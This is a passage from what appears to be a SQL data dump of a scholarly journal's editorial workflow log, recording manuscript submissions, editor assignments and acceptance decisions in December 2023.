17:20:51','Publisher has been Assigned Editor',14348,'Publisher',319),(131410,'2023-12-08 17:21:30','Publisher has been Assigned Editor',14347,'Publisher',319),(131411,'2023-12-08 17:24:24','Publisher has been Assigned Editor',14346,'Publisher',319),(131412,'2023-12-08 17:25:12','Publisher has been Assigned Editor',14345,'Publisher',319),(131413,'2023-12-11 10:57:30','Editor has Accepted to review Manuscript',14334,'Editor',1408),(131414,'2023-12-11 11:03:14','Editor has been Editor Decision Accepted article',14334,'Editor',1408),(131415,'2023-12-11 11:07:45','Publisher: Accept Notification has been sent to Author',14334,'Publisher',85),(131416,'2023-12-11 12:06:39','Editor has Accepted to review Manuscript',14353,'Editor',1068),(131417,'2023-12-11 12:07:15','Editor has been Editor Decision Accepted article',14353,'Editor',1068),(131418,'2023-12-11 12:09:48','Editor has Accepted to review Manuscript',14348,'Editor',1068),(131419,'2023-12-11 12:10:21','Editor has been Editor Decision Accepted article',14348,'Editor',1068),(131420,'2023-12-11 12:12:52','Editor has Accepted to review Manuscript',14350,'Editor',1067),(131421,'2023-12-11 12:13:16','Editor has been Editor Decision Accepted article',14350,'Editor',1067),(131422,'2023-12-11 12:13:22','Editor has Accepted to review Manuscript',14346,'Editor',1067),(131423,'2023-12-11 12:13:42','Editor has been Editor Decision Accepted article',14346,'Editor',1067),(131424,'2023-12-11 12:17:48','Editor has Accepted to review Manuscript',14352,'Editor',1069),(131425,'2023-12-11 12:18:07','Editor has been Editor Decision Accepted article',14352,'Editor',1069),(131426,'2023-12-11 12:18:25','Editor has Accepted to review Manuscript',14347,'Editor',1069),(131427,'2023-12-11 12:18:44','Editor has been Editor Decision Accepted article',14347,'Editor',1069),(131428,'2023-12-11 12:19:43','Editor has Accepted to review Manuscript',14349,'Editor',1791),(131429,'2023-12-11 12:19:57','Editor has been Editor Decision Accepted article',14349,'Editor',1791),(131430,'2023-12-11 12:20:24','Editor has been Editor Decision Accepted article',14349,'Editor',1791),(131431,'2023-12-11 12:20:37','Editor has Accepted to review Manuscript',14345,'Editor',1791),(131432,'2023-12-11 12:21:00','Editor has been Editor Decision Accepted article',14345,'Editor',1791),(131433,'2023-12-11 12:22:04','Editor has Accepted to review Manuscript',14351,'Editor',1070),(131434,'2023-12-11 12:22:20','Editor has been Editor Decision Accepted article',14351,'Editor',1070),(131435,'2023-12-11 12:24:17','Manuscript Submitted by Publisher',14359,'Publisher',48),(131436,'2023-12-11 14:19:21','Reviewer has submitted comments',14050,'Reviewer',21733),(131437,'2023-12-11 16:28:35','Reviewer has submitted comments',14046,'Reviewer',21733),(131438,'2023-12-12 12:26:33','Manuscript Submitted by Author using Submission form',14360,'Author',14418),(131439,'2023-12-13 09:13:11','Publisher has been Assigned Editor',14359,'Publisher',48),(131440,'2023-12-13 09:13:57','Publisher has been Assigned Editor',14355,'',1045),(131441,'2023-12-13 09:14:17','Publisher has been Assigned Editor',14358,'',1045),(131442,'2023-12-13 09:14:32','Publisher has been Assigned Editor',14357,'',1045),(131443,'2023-12-13 09:14:49','Publisher has been Assigned Editor',14356,'',1045),(131444,'2023-12-13 09:15:03','Publisher has been Assigned Editor',13374,'',1045),(131445,'2023-12-13 11:59:29','Manuscript Submitted by Publisher',14361,'',1212),(131446,'2023-12-13 12:04:47','Manuscript Submitted by Publisher',14362,'',1212),(131447,'2023-12-13 12:17:03','Manuscript Submitted by Publisher',14363,'',1212),(131448,'2023-12-13 13:04:18','Manuscript Submitted by Publisher',14364,'',1212),(131449,'2023-12-13 13:17:59','Manuscript Submitted by Publisher',14365,'',1212),(131450,'2023-12-13 18:05:40','Manuscript Submitted by Author',14366,'Author',14422),(131451,'2023-12-14 09:38:13','Publisher has been Assigned Editor',14332,'Publisher',84),(131452,'2023-12-14 09:38:45','Publisher has been Assigned Editor',14333,'Publisher',84),(131453,'2023-12-14 10:04:00','Manuscript Submitted by Author using Submission form',14367,'Author',14423),(131454,'2023-12-14 10:17:28','Editor has Accepted to review Manuscript',14282,'Editor',359),(131455,'2023-12-14 10:17:44','Editor has been Editor Decision Accepted article',14282,'Editor',359),(131456,'2023-12-14 10:18:19','Editor has Accepted to review Manuscript',14280,'Editor',359),(131457,'2023-12-14 10:18:33','Editor has been Editor Decision Accepted article',14280,'Editor',359),(131458,'2023-12-14 10:19:03','Editor has Accepted to review Manuscript',14276,'Editor',359),(131459,'2023-12-14 10:19:15','Editor has been Editor Decision Accepted article',14276,'Editor',359),(131460,'2023-12-14 10:19:30','Editor has Accepted to review Manuscript',14275,'Editor',359),(131461,'2023-12-14 10:19:50','Editor has been Editor Decision Accepted article',14275,'Editor',359),(131462,'2023-12-14 10:20:10','Editor has Accepted to review Manuscript',14249,'Editor',1750),(131463,'2023-12-14 10:20:45','Editor has Accepted to review Manuscript',14279,'Editor',358),(131464,'2023-12-14 10:20:55','Editor has been Editor Decision Accepted article',14279,'Editor',358),(131465,'2023-12-14 10:21:08','Editor has Accepted to review Manuscript',14278,'Editor',358),(131466,'2023-12-14 10:21:19','Editor has been Editor Decision Accepted article',14278,'Editor',358),(131467,'2023-12-14 10:21:35','Editor has Accepted to review Manuscript',14274,'Editor',358),(131468,'2023-12-14 10:21:50','Editor has been Editor Decision Accepted article',14274,'Editor',358),(131469,'2023-12-14 10:21:53','Editor has been Editor Decision Accepted article',14249,'Editor',1750),(131470,'2023-12-14 10:22:01','Editor has Accepted to review Manuscript',14273,'Editor',358),(131471,'2023-12-14 10:22:13','Editor has been Editor Decision Accepted article',14273,'Editor',358),(131472,'2023-12-14 10:22:42','Editor has Accepted to review Manuscript',14281,'Editor',1674),(131473,'2023-12-14 10:22:51','Editor has been Editor Decision Accepted article',14281,'Editor',1674),(131474,'2023-12-14 10:23:03','Editor has Accepted to review Manuscript',14277,'Editor',1674),(131475,'2023-12-14 10:23:12','Editor has been Editor Decision Accepted article',14277,'Editor',1674),(131476,'2023-12-14 10:24:23','Publisher has been Accepted Articles  article',14249,'Publisher',1009),(131477,'2023-12-14 10:25:05','Publisher has been Accepted Articles  article',14282,'Publisher',248),(131478,'2023-12-14 10:25:28','Publisher has been Accepted Articles  article',14281,'Publisher',248),(131479,'2023-12-14 10:25:49','Publisher has been Accepted Articles  article',14280,'Publisher',248),(131480,'2023-12-14 10:26:15','Publisher has been Accepted Articles  article',14279,'Publisher',248),(131481,'2023-12-14 10:26:38','Publisher has been Accepted Articles  article',14278,'Publisher',248),(131482,'2023-12-14 10:27:00','Publisher has been Accepted Articles  article',14277,'Publisher',248),(131483,'2023-12-14 10:27:21','Publisher has been Accepted Articles  article',14276,'Publisher',248),(131484,'2023-12-14 10:27:42','Publisher has been Accepted Articles  article',14275,'Publisher',248),(131485,'2023-12-14 10:28:01','Publisher has been Accepted Articles  article',14274,'Publisher',248),(131486,'2023-12-14 10:28:21','Publisher has been Accepted Articles  article',14273,'Publisher',248),(131487,'2023-12-14 10:45:12','Editor has Accepted to review Manuscript',14250,'Editor',1793),(131488,'2023-12-14 10:46:08','Editor has been Editor Decision Accepted article',14250,'Editor',1793),(131489,'2023-12-14 10:48:11','Publisher has been Accepted Articles  article',14250,'Publisher',1009),(131490,'2023-12-14 10:51:47','Editor has been Editor Decision Accepted article',14251,'Editor',1749),(131491,'2023-12-14 10:53:21','Publisher has been Accepted Articles  article',14251,'Publisher',1009),(131492,'2023-12-14 10:55:04','Editor has Accepted to review Manuscript',14252,'Editor',1750),(131493,'2023-12-14 10:55:18','Editor has been Editor Decision Accepted article',14252,'Editor',1750),(131494,'2023-12-14 11:07:35','Publisher has been Accepted Articles  article',14252,'Publisher',1009),(131495,'2023-12-14 11:09:05','Editor has Accepted to review Manuscript',14253,'Editor',1792),(131496,'2023-12-14 11:09:42','Editor has been Editor Decision Accepted article',14253,'Editor',1792),(131497,'2023-12-14 11:10:40','Publisher has been Accepted Articles  article',14253,'Publisher',1009),(131498,'2023-12-14 11:12:10','Editor has Accepted to review Manuscript',14254,'Editor',1793),(131499,'2023-12-14 11:12:29','Editor has been Editor Decision Accepted article',14254,'Editor',1793),(131500,'2023-12-14 11:13:11','Publisher has been Accepted Articles  article',14254,'Publisher',1009),(131501,'2023-12-14 11:15:29','Editor has been Editor Decision Accepted article',14255,'Editor',1749),(131502,'2023-12-14 11:16:11','Publisher has been Accepted Articles  article',14255,'Publisher',1009),(131503,'2023-12-14 11:17:05','Editor has Accepted to review Manuscript',14256,'Editor',1795),(131504,'2023-12-14 11:17:16','Editor has been Editor Decision Accepted article',14256,'Editor',1795),(131505,'2023-12-14 11:17:57','Publisher has been Accepted Articles  article',14256,'Publisher',1009),(131506,'2023-12-14 11:19:07','Editor has been Editor Decision Accepted article',14257,'Editor',1749),(131507,'2023-12-14 11:19:47','Publisher has been Accepted Articles  article',14257,'Publisher',1009),(131508,'2023-12-14 11:20:46','Editor has Accepted to review Manuscript',14258,'Editor',1750),(131509,'2023-12-14 11:23:50','Editor has been Editor Decision Accepted article',14258,'Editor',1750),(131510,'2023-12-14 11:26:10','Publisher has been Accepted Articles  article',14258,'Publisher',1009),(131511,'2023-12-14 14:50:04','Editor has Accepted to review Manuscript',14138,'Editor',1779),(131512,'2023-12-14 14:50:34','Editor has been Editor Decision Accepted article',14138,'Editor',1779),(131513,'2023-12-14 14:55:16','Editor has been 2 article',14138,'Publisher',988),(131514,'2023-12-14 15:10:36','Editor has Accepted to review Manuscript',14140,'Editor',1410),(131515,'2023-12-14 15:11:13','Editor has been Editor Decision Accepted article',14140,'Editor',1410),(131516,'2023-12-14 15:13:36','Editor has been 2 article',14140,'Publisher',988),(131517,'2023-12-14 15:22:23','Editor has Accepted to review Manuscript',14150,'Editor',1783),(131518,'2023-12-14 15:22:45','Editor has been Editor Decision Accepted article',14150,'Editor',1783),(131519,'2023-12-14 15:26:13','Editor has been Editor Decision Accepted article',14150,'Editor',1783),(131520,'2023-12-14 15:28:34','Editor has been Editor Decision Accepted article',14150,'Publisher',1783),(131521,'2023-12-14 15:29:32','Editor has been 2 article',14150,'Publisher',988),(131522,'2023-12-14 15:36:48','Editor has Accepted to review Manuscript',14156,'Editor',1779),(131523,'2023-12-14 15:37:15','Editor has been Editor Decision Accepted article',14156,'Editor',1779),(131524,'2023-12-14 15:38:22','Editor has been 2 article',14156,'Publisher',988),(131525,'2023-12-14 15:43:12','Editor has Accepted to review Manuscript',14225,'Editor',1410),(131526,'2023-12-14 15:43:32','Editor has been Editor Decision Accepted article',14225,'Editor',1410),(131527,'2023-12-14 15:44:17','Editor has been 2 article',14225,'Publisher',988),(131528,'2023-12-14 15:50:08','Editor has Accepted to review Manuscript',14226,'Editor',1783),(131529,'2023-12-14 15:50:31','Editor has been Editor Decision Accepted article',14226,'Editor',1783),(131530,'2023-12-14 15:51:08','Editor has been 2 article',14226,'Publisher',988),(131531,'2023-12-14 15:56:02','Editor has been Editor Decision Accepted article',14226,'Editor',1783),(131532,'2023-12-14 15:56:50','Editor has been 2 article',14226,'Publisher',988),(131533,'2023-12-14 16:33:41','Editor has Accepted to review Manuscript',14227,'Editor',1779),(131534,'2023-12-14 16:34:07','Editor has been Editor Decision Accepted article',14227,'Editor',1779),(131535,'2023-12-14 16:35:00','Editor has been Editor Decision Accepted article',14227,'Editor',1779),(131536,'2023-12-14 16:36:04','Publisher has been Accepted Articles  article',14227,'Publisher',988),(131537,'2023-12-14 16:40:54','Editor has Accepted to review Manuscript',14228,'Editor',1779),(131538,'2023-12-14 16:41:25','Editor has been Editor Decision Accepted article',14228,'Editor',1779),(131539,'2023-12-14 16:42:52','Publisher has been Accepted Articles  article',14228,'Publisher',988),(131540,'2023-12-14 16:43:09','Publisher has been Assigned Editor',14368,'Publisher',319),(131541,'2023-12-14 16:45:33','Editor has Accepted to review Manuscript',14368,'Editor',1069),(131542,'2023-12-14 16:45:48','Editor has been Editor Decision Accepted article',14368,'Editor',1069),(131543,'2023-12-14 16:48:21','Editor has been Editor Decision Accepted article',14059,'Editor',1783),(131544,'2023-12-14 16:49:17','Publisher has been Accepted Articles  article',14059,'Publisher',988),(131545,'2023-12-14 16:53:42','Editor has been Editor Decision Accepted article',14081,'Editor',1783),(131546,'2023-12-14 17:02:09','Publisher has been Accepted Articles  article',14081,'Publisher',988),(131547,'2023-12-15 10:33:27','Editor has Accepted to review Manuscript',14247,'Editor',359),(131548,'2023-12-15 10:33:43','Editor has been Editor Decision Accepted article',14247,'Editor',359),(131549,'2023-12-15 10:35:18','Editor has been 2 article',14247,'Publisher',248),(131550,'2023-12-15 13:03:30','Manuscript Submitted by Publisher',14369,'Publisher',645),(131551,'2023-12-15 14:05:16','Editor has Accepted to review Manuscript',14214,'Editor',1790),(131552,'2023-12-15 14:05:36','Editor has been Editor Decision Accepted article',14214,'Editor',1790),(131553,'2023-12-15 14:06:01','Editor has Accepted to review Manuscript',14213,'Editor',1790),(131554,'2023-12-15 14:06:19','Editor has been Editor Decision Accepted article',14213,'Editor',1790),(131555,'2023-12-15 14:06:47','Editor has Accepted to review Manuscript',14180,'Editor',1790),(131556,'2023-12-15 14:06:58','Editor has been Editor Decision Accepted article',14180,'Editor',1790),(131557,'2023-12-15 14:07:11','Editor has Accepted to review Manuscript',14178,'Editor',1790),(131558,'2023-12-15 14:07:16','Manuscript Submitted by Publisher',14370,'Publisher',645),(131559,'2023-12-15 14:07:20','Editor has been Editor Decision Accepted article',14178,'Editor',1790),(131560,'2023-12-15 14:07:35','Editor has Accepted to review Manuscript',14176,'Editor',1790),(131561,'2023-12-15 14:07:50','Editor has been Editor Decision Accepted article',14176,'Editor',1790),(131562,'2023-12-15 14:08:17','Editor has Accepted to review Manuscript',14175,'Editor',1790),(131563,'2023-12-15 14:08:41','Editor has Accepted to review Manuscript',14173,'Editor',1790),(131564,'2023-12-15 14:08:56','Editor has been Editor Decision Accepted article',14173,'Editor',1790),(131565,'2023-12-15 14:09:18','Editor has Accepted to review Manuscript',14171,'Editor',1790),(131566,'2023-12-15 14:09:28','Editor has been Editor Decision Accepted article',14171,'Editor',1790),(131567,'2023-12-15 14:09:42','Editor has Accepted to review Manuscript',14170,'Editor',1790),(131568,'2023-12-15 14:09:59','Editor has been Editor Decision Accepted article',14170,'Editor',1790),(131569,'2023-12-15 14:10:20','Editor has Accepted to review Manuscript',14169,'Editor',1790),(131570,'2023-12-15 14:10:39','Editor has been Editor Decision Accepted article',14169,'Editor',1790),(131571,'2023-12-15 14:12:25','Manuscript Submitted by Publisher',14371,'Publisher',645),(131572,'2023-12-15 14:15:41','Manuscript Submitted by Publisher',14372,'Publisher',645),(131573,'2023-12-15 14:17:50','Manuscript Submitted by Publisher',14373,'Publisher',645),(131574,'2023-12-15 14:19:01','Editor has been 2 article',14214,'Publisher',994),(131575,'2023-12-15 14:20:47','Editor has been 2 article',14213,'Publisher',994),(131576,'2023-12-15 14:20:50','Editor has been 2 article',14213,'Publisher',994),(131577,'2023-12-15 14:20:52','Editor has been 2 article',14213,'Publisher',994),(131578,'2023-12-15 14:20:54','Editor has been 2 article',14213,'Publisher',994),(131579,'2023-12-15 14:20:57','Editor has been 2 article',14213,'Publisher',994),(131580,'2023-12-15 14:20:59','Editor has been 2 article',14213,'Publisher',994),(131581,'2023-12-15 14:21:01','Editor has been 2 article',14213,'Publisher',994),(131582,'2023-12-15 14:21:03','Editor has been 2 article',14213,'Publisher',994),(131583,'2023-12-15 14:21:06','Editor has been 2 article',14213,'Publisher',994),(131584,'2023-12-15 14:21:08','Editor has been 2 article',14213,'Publisher',994),(131585,'2023-12-15 14:21:10','Editor has been 2 article',14213,'Publisher',994),(131586,'2023-12-15 14:22:53','Manuscript Submitted by Publisher',14374,'Publisher',645),(131587,'2023-12-15 14:25:02','Manuscript Submitted by Publisher',14375,'Publisher',645),(131588,'2023-12-15 14:25:50','Editor has been 2 article',14180,'Publisher',994),(131589,'2023-12-15 14:26:36','Editor has been 2 article',14178,'Publisher',994),(131590,'2023-12-15 14:27:31','Manuscript Submitted by Publisher',14376,'Publisher',645),(131591,'2023-12-15 14:28:03','Editor has been 2 article',14176,'Publisher',994),(131592,'2023-12-15 14:29:58','Manuscript Submitted by Publisher',14377,'Publisher',645),(131593,'2023-12-15 14:30:09','Editor has been Editor Decision Accepted article',14175,'Publisher',1790),(131594,'2023-12-15 14:31:38','Editor has been 2 article',14175,'Publisher',994),(131595,'2023-12-15 14:31:51','Manuscript Submitted by Publisher',14378,'Publisher',645),(131596,'2023-12-15 14:34:27','Editor has been 2 article',14173,'Publisher',994),(131597,'2023-12-15 14:35:16','Editor has been 2 article',14171,'Publisher',994),(131598,'2023-12-15 14:35:55','Editor has been 2 article',14170,'Publisher',994),(131599,'2023-12-15 14:37:04','Editor has been 2 article',14169,'Publisher',994),(131600,'2023-12-16 09:59:14','Publisher has been Assigned Editor',14365,'',1212),(131601,'2023-12-16 09:59:30','Publisher has been Assigned Editor',14364,'',1212),(131602,'2023-12-16 09:59:51','Publisher has been Assigned Editor',14363,'',1212),(131603,'2023-12-16 10:00:08','Publisher has been Assigned Editor',14362,'',1212),(131604,'2023-12-16 10:00:22','Publisher has been Assigned Editor',14361,'',1212),(131605,'2023-12-16 10:21:24','Editor has Accepted to review Manuscript',14184,'Editor',1370),(131606,'2023-12-16 10:21:46','Editor has been Editor Decision Accepted article',14184,'Editor',1370),(131607,'2023-12-16 10:22:47','Publisher has been Accepted Articles  article',14184,'Publisher',673),(131608,'2023-12-16 10:23:20','Editor has Accepted to review Manuscript',14194,'Editor',1370),(131609,'2023-12-16 10:23:30','Editor has been Editor Decision Accepted article',14194,'Editor',1370),(131610,'2023-12-16 10:24:22','Publisher has been Accepted Articles  article',14194,'Publisher',673),(131611,'2023-12-16 10:25:41','Editor has Accepted to review Manuscript',14233,'Editor',1732),(131612,'2023-12-16 10:25:53','Editor has been Editor Decision Accepted article',14233,'Editor',1732),(131613,'2023-12-16 10:26:51','Publisher has been Accepted Articles  article',14233,'Publisher',673),(131614,'2023-12-16 10:28:02','Editor has Accepted to review Manuscript',14234,'Editor',1370),(131615,'2023-12-16 10:28:13','Editor has been Editor Decision Accepted article',14234,'Editor',1370),(131616,'2023-12-16 10:29:11','Publisher has been Accepted Articles  article',14234,'Publisher',673),(131617,'2023-12-16 10:30:26','Editor has Accepted to review Manuscript',14235,'Editor',1456),(131618,'2023-12-16 10:30:37','Editor has been Editor Decision Accepted article',14235,'Editor',1456),(131619,'2023-12-16 10:32:36','Publisher has been Accepted Articles  article',14235,'Publisher',673),(131620,'2023-12-16 10:34:25','Editor has Accepted to review Manuscript',14238,'Editor',1456),(131621,'2023-12-16 10:34:56','Editor has been Editor Decision Accepted article',14238,'Editor',1456),(131622,'2023-12-16 10:36:02','Publisher has been Accepted Articles  article',14238,'Publisher',673),(131623,'2023-12-16 10:37:10','Editor has Accepted to review Manuscript',14239,'Editor',1456),(131624,'2023-12-16 10:37:22','Editor has been Editor Decision Accepted article',14239,'Editor',1456),(131625,'2023-12-16 10:38:51','Publisher has been Accepted Articles  article',14239,'Publisher',673),(131626,'2023-12-16 10:39:27','Editor has Accepted to review Manuscript',14240,'Editor',1456),(131627,'2023-12-16 10:39:37','Editor has been Editor Decision Accepted article',14240,'Editor',1456),(131628,'2023-12-16 10:40:16','Publisher has been Accepted Articles  article',14240,'Publisher',673),(131629,'2023-12-16 10:40:47','Editor has Accepted to review Manuscript',14241,'Editor',1456),(131630,'2023-12-16 10:40:58','Editor has been Editor Decision Accepted article',14241,'Editor',1456),(131631,'2023-12-16 10:41:42','Publisher has been Accepted Articles  article',14241,'Publisher',673),(131632,'2023-12-16 10:42:26','Editor has Accepted to review Manuscript',14242,'Editor',1732),(131633,'2023-12-16 10:42:36','Editor has been Editor Decision Accepted article',14242,'Editor',1732),(131634,'2023-12-16 10:43:44','Publisher has been Accepted Articles  article',14242,'Publisher',673),(131635,'2023-12-16 10:57:29','Publisher has been Assigned Editor',14378,'Publisher',645),(131636,'2023-12-16 11:27:28','Manuscript Submitted by Publisher',14379,'',1212),(131637,'2023-12-16 11:30:33','Manuscript Submitted by Publisher',14380,'',1212),(131638,'2023-12-18 09:32:31','Publisher has been Assigned Editor',14340,'Publisher',673),(131639,'2023-12-18 09:33:54','Publisher has been Assigned Editor',14377,'Publisher',645),(131640,'2023-12-18 09:34:32','Publisher has been Assigned Editor',14376,'Publisher',645),(131641,'2023-12-18 09:34:54','Publisher has been Assigned Editor',14375,'Publisher',645),(131642,'2023-12-18 09:35:14','Publisher has been Assigned Editor',14374,'Publisher',645),(131643,'2023-12-18 09:35:36','Publisher has been Assigned Editor',14373,'Publisher',645),(131644,'2023-12-18 09:35:52','Publisher has been Assigned Editor',14372,'Publisher',645),(131645,'2023-12-18 09:36:09','Publisher has been Assigned Editor',14371,'Publisher',645),(131646,'2023-12-18 09:36:27','Publisher has been Assigned Editor',14369,'Publisher',645),(131647,'2023-12-18 09:36:43','Publisher has been Assigned Editor',14370,'Publisher',645),(131648,'2023-12-19 08:29:25','Manuscript Submitted by Author using Submission form',14381,'Author',14429),(131649,'2023-12-19 08:34:44','Manuscript Submitted by Author using Submission form',14382,'Author',14430),(131650,'2023-12-19 08:44:07','Manuscript Submitted by Author',14383,'Author',14428),(131651,'2023-12-19 11:38:48','Publisher has been Assigned Editor',14380,'',1212),(131652,'2023-12-19 11:39:06','Publisher has been Assigned Editor',14379,'',1212),(131653,'2023-12-19 12:11:49','Publisher has been Assigned Editor',0,'',1045),(131654,'2023-12-19 12:16:03','Publisher has been Assigned Editor',0,'',1045),(131655,'2023-12-19 13:30:00','Publisher has been Assigned Editor',0,'',1045),(131656,'2023-12-19 14:50:32','Publisher has Unassign Editor',14259,'Publisher',972),(131657,'2023-12-19 14:55:21','Editor has Accepted to review Manuscript',14208,'Editor',1786),(131658,'2023-12-19 14:55:56','Editor has been Editor Decision Accepted article',14208,'Editor',1786),(131659,'2023-12-19 14:56:45','Publisher has been Accepted Articles  article',14208,'Publisher',972),(131660,'2023-12-19 15:06:06','Publisher has been Assigned Editor',14367,'Publisher',972),(131661,'2023-12-19 15:06:29','Editor has Accepted to review Manuscript',14259,'Editor',1786),(131662,'2023-12-19 15:07:24','Editor has Accepted to review Manuscript',14367,'Editor',1784),(131663,'2023-12-19 15:07:37','Editor has been Editor Decision Accepted article',14367,'Editor',1784),(131664,'2023-12-19 15:19:20','Editor has Accepted to review Manuscript',14212,'Editor',1324),(131665,'2023-12-19 15:19:39','Editor has been Editor Decision Accepted article',14212,'Editor',1324),(131666,'2023-12-19 15:21:26','Publisher has been Accepted Articles  article',14212,'Publisher',972),(131667,'2023-12-19 15:24:00','Editor has Accepted to review Manuscript',14211,'Editor',1785),(131668,'2023-12-19 15:24:29','Editor has been Editor Decision Accepted article',14211,'Editor',1785),(131669,'2023-12-19 15:28:23','Publisher has been Accepted Articles  article',14211,'Publisher',972),(131670,'2023-12-19 15:29:35','Editor has Accepted to review Manuscript',14210,'Editor',1310),(131671,'2023-12-19 15:30:03','Editor has been Editor Decision Accepted article',14210,'Editor',1310),(131672,'2023-12-19 15:32:09','Publisher has been Accepted Articles  article',14210,'Publisher',972),(131673,'2023-12-19 15:34:02','Editor has Accepted to review Manuscript',14209,'Editor',1367),(131674,'2023-12-19 15:34:31','Editor has been Editor Decision Accepted article',14209,'Editor',1367),(131675,'2023-12-19 15:35:34','Publisher has been Accepted Articles  article',14209,'Publisher',972),(131676,'2023-12-19 15:37:05','Editor has Accepted to review Manuscript',14207,'Editor',1315),(131677,'2023-12-19 15:37:28','Editor has been Editor Decision Accepted article',14207,'Editor',1315),(131678,'2023-12-19 15:40:41','Editor has Accepted to review Manuscript',14202,'Editor',1784),(131679,'2023-12-19 15:41:26','Editor has been Editor Decision Accepted article',14202,'Editor',1784),(131680,'2023-12-19 15:42:32','Publisher has been Accepted Articles  article',14202,'Publisher',972),(131681,'2023-12-19 15:44:16','Editor has Accepted to review Manuscript',14197,'Editor',1787),(131682,'2023-12-19 15:44:34','Editor has been Editor Decision Accepted article',14197,'Editor',1787),(131683,'2023-12-19 15:45:36','Publisher has been Accepted Articles  article',14197,'Publisher',972),(131684,'2023-12-19 15:46:56','Editor has Accepted to review Manuscript',14196,'Editor',1785),(131685,'2023-12-19 15:47:18','Editor has been Editor Decision Accepted article',14196,'Editor',1785),(131686,'2023-12-19 15:48:22','Publisher has been Accepted Articles  article',14196,'Publisher',972),(131687,'2023-12-19 15:49:40','Editor has Accepted to review Manuscript',13981,'Editor',1324),(131688,'2023-12-19 15:50:06','Editor has been Editor Decision Accepted article',13981,'Editor',1324),(131689,'2023-12-21 10:35:43','Manuscript Submitted by Publisher',14381,'Publisher',85),(131690,'2023-12-21 10:38:24','Editor has Accepted to review Manuscript',14260,'Editor',634),(131691,'2023-12-21 10:38:37','Editor has been Editor Decision Accepted article',14260,'Editor',634),(131692,'2023-12-21 10:40:32','Editor has Accepted to review Manuscript',14261,'Editor',1708),(131693,'2023-12-21 10:40:50','Editor has been Editor Decision Accepted article',14261,'Editor',1708),(131694,'2023-12-21 10:41:54','Editor has Accepted to review Manuscript',14262,'Editor',633),(131695,'2023-12-21 10:42:11','Editor has been Editor Decision Accepted article',14262,'Editor',633),(131696,'2023-12-21 10:43:38','Editor has Accepted to review Manuscript',14263,'Editor',633),(131697,'2023-12-21 10:43:52','Editor has been Editor Decision Accepted article',14263,'Editor',633),(131698,'2023-12-21 10:45:36','Editor has Accepted to review Manuscript',14264,'Editor',634),(131699,'2023-12-21 10:45:51','Editor has been Editor Decision Accepted article',14264,'Editor',634),(131700,'2023-12-21 10:46:37','Editor has Accepted to review Manuscript',14265,'Editor',634),(131701,'2023-12-21 10:46:50','Editor has been Editor Decision Accepted article',14265,'Editor',634),(131702,'2023-12-21 10:48:14','Editor has Accepted to review Manuscript',14266,'Editor',1708),(131703,'2023-12-21 10:48:28','Editor has been Editor Decision Accepted article',14266,'Editor',1708),(131704,'2023-12-21 10:49:40','Editor has Accepted to review Manuscript',14267,'Editor',633),(131705,'2023-12-21 10:49:54','Editor has been Editor Decision Accepted article',14267,'Editor',633),(131706,'2023-12-21 10:50:44','Editor has Accepted to review Manuscript',14268,'Editor',634),(131707,'2023-12-21 10:51:01','Editor has been Editor Decision Accepted article',14268,'Editor',634),(131708,'2023-12-21 10:51:47','Editor has Accepted to review Manuscript',14269,'Editor',1708),(131709,'2023-12-21 10:52:05','Editor has been Editor Decision Accepted article',14269,'Editor',1708),(131710,'2023-12-21 10:53:26','Publisher has been Accepted Articles  article',14260,'Publisher',645),(131711,'2023-12-21 10:54:33','Publisher has been Accepted Articles  article',14261,'Publisher',645),(131712,'2023-12-21 10:55:48','Publisher has been Accepted Articles  article',14262,'Publisher',645),(131713,'2023-12-21 10:56:26','Publisher has been Accepted Articles  article',14263,'Publisher',645),(131714,'2023-12-21 10:56:57','Publisher has been Accepted Articles  article',14264,'Publisher',645),(131715,'2023-12-21 10:58:43','Publisher has been Accepted Articles  article',14265,'Publisher',645),(131716,'2023-12-21 11:00:21','Publisher has been Accepted Articles  article',14266,'Publisher',645),(131717,'2023-12-21 11:00:53','Publisher has been Accepted Articles  article',14267,'Publisher',645),(131718,'2023-12-21 11:01:27','Publisher has been Accepted Articles  article',14268,'Publisher',645),(131719,'2023-12-21 11:01:56','Publisher has been Accepted Articles  article',14269,'Publisher',645),(131720,'2023-12-22 10:15:50','Editor has been Editor Decision Accepted article',14209,'Editor',1367),(131721,'2023-12-22 10:17:00','Editor has been 2 article',14209,'Editor',972),(131722,'2023-12-22 14:48:12','Publisher has been Accepted Articles  article',14283,'Publisher',319),(131723,'2023-12-22 14:58:54','Manuscript Submitted by Author',14382,'Author',3844),(131724,'2023-12-22 19:15:55','Manuscript Submitted by Author using Submission form',14383,'Author',14432),(131725,'2023-12-23 10:19:20','Editor has Accepted to review Manuscript',14341,'Editor',1788),(131726,'2023-12-23 10:19:29','Editor has been Editor Decision Accepted article',14341,'Editor',1788),(131727,'2023-12-23 10:21:54','Publisher has been Accepted Articles  article',14341,'',1050),(131728,'2023-12-23 10:37:25','Publisher has been Accepted Articles  article',14367,'',1501),(131729,'2023-12-23 10:37:30','Publisher has been Accepted Articles  article',14367,'',1501),(131730,'2023-12-23 10:37:34','Publisher has been Accepted Articles  article',14367,'',1501),(131731,'2023-12-23 10:37:37','Publisher has been Accepted Articles  article',14367,'',1501),(131732,'2023-12-23 10:39:55','Editor has Invited Reviewer',14259,'Editor',1786),(131733,'2023-12-23 10:40:21','Publisher has been Accepted Articles  article',14367,'',1501),(131734,'2023-12-23 10:41:18','Publisher has been Accepted Articles  article',14367,'',1501),(131735,'2023-12-23 10:44:06','Publisher has been Accepted Articles  article',14367,'',1501),(131736,'2023-12-23 10:45:30','Reviewer has submitted comments',14259,'Reviewer',21666),(131737,'2023-12-23 10:45:52','Publisher has been Accepted Articles  article',14367,'',1501),(131738,'2023-12-23 10:47:01','Editor has been Editor Decision Accepted article',14259,'Editor',1786),(131739,'2023-12-26 14:22:40','Manuscript Updated',14339,'',1045),(131740,'2023-12-26 14:23:03','Publisher has been Accepted Articles  article',14339,'',1045),(131741,'2023-12-26 14:29:40','Manuscript Updated',14244,'',1045),(131742,'2023-12-26 14:30:01','Publisher has been Accepted Articles  article',14244,'',1045),(131743,'2023-12-26 15:02:02','Manuscript Updated',14358,'',1045),(131744,'2023-12-26 15:02:30','Publisher has been Accepted Articles  article',14358,'',1045),(131745,'2023-12-26 17:47:47','Publisher has been Accepted Articles  article',14259,'Publisher',972),(131746,'2023-12-26 17:47:50','Publisher has been Accepted Articles  article',14259,'Publisher',972),(131747,'2023-12-26 21:06:23','Manuscript Submitted by Author using Submission form',14384,'Author',14434),(131748,'2023-12-27 09:34:10','Manuscript Updated',14356,'',1045),(131749,'2023-12-27 09:34:31','Publisher has been Accepted Articles  article',14356,'',1045),(131750,'2023-12-27 14:27:01','Publisher 